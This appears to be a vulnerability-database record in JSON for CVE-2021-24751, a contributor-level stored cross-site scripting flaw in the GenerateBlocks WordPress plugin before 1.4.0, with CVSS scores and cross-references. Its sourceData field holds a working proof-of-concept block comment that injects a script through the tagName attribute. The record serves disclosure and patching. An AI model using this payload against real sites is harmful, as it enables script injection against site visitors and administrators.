Description
The plugin does not validate the generateblocks/container block's tagName attribute, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks.
Related
{"id": "WPEX-ID:E0131980-D2D3-4780-8A68-A81EE8C90B7A", "vendorId": null, "type": "wpexploit", "bulletinFamily": "exploit", "title": "GenerateBlocks < 1.4.0 - Contributor+ Stored Cross-Site Scripting", "description": "The plugin does not validate the generateblocks/container block's tagName attribute, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks.\n", "published": "2021-11-01T00:00:00", "modified": "2021-11-01T07:03:39", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "LOW", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, "href": "", "reporter": "apple502j", "references": [], "cvelist": ["CVE-2021-24751"], "immutableFields": [], "lastseen": "2021-11-30T19:09:52", "viewCount": 52, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-24751"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:E0131980-D2D3-4780-8A68-A81EE8C90B7A"]}], "rev": 4}, "score": {"value": 0.5, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-24751"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:E0131980-D2D3-4780-8A68-A81EE8C90B7A"]}]}, "exploitation": null, "vulnersScore": 0.5}, "sourceData": "Add the following code in a post/page while in code editor mode with an Contributor account: <!-- wp:generateblocks/container {\"uniqueId\":\"98c07d5a\",\"tagName\":\"script src=data:application/javascript,alert(/XSS/)\",\"isDynamic\":true} /-->\r\n\r\nThen view/preview the page/post to trigger the XSS", "generation": 0, "_state": {"dependencies": 1646337925, "score": 1659850087}, "_internal": {"score_hash": "269ff388af7329361103afdff95f0f30"}}
{"cve": [{"lastseen": "2022-03-23T15:03:26", "description": "The GenerateBlocks WordPress plugin before 1.4.0 does not validate the generateblocks/container block's tagName attribute, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-11-29T09:15:00", "type": "cve", "title": "CVE-2021-24751", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 3.5, "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24751"], "modified": "2021-11-29T19:33:00", "cpe": [], "id": "CVE-2021-24751", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24751", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}, "cpe23": []}], "wpvulndb": [{"lastseen": "2021-11-30T19:09:52", "description": "The plugin does not validate the generateblocks/container block's tagName attribute, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks.\n\n### PoC\n\nAdd the following code in a post/page while in code editor mode with an Contributor account: Then view/preview the page/post to trigger the XSS\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 5.4, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 2.7}, "published": "2021-11-01T00:00:00", "type": "wpvulndb", "title": "GenerateBlocks < 1.4.0 - Contributor+ Stored Cross-Site Scripting", "bulletinFamily": "software", "cvss2": {"severity": "LOW", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 3.5, "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24751"], "modified": "2021-11-01T07:03:39", "id": "WPVDB-ID:E0131980-D2D3-4780-8A68-A81EE8C90B7A", "href": "https://wpscan.com/vulnerability/e0131980-d2d3-4780-8a68-a81ee8c90b7a", "sourceData": "", "cvss": {"score": 3.5, "vector": "AV:N/AC:M/Au:S/C:N/I:P/A:N"}}]}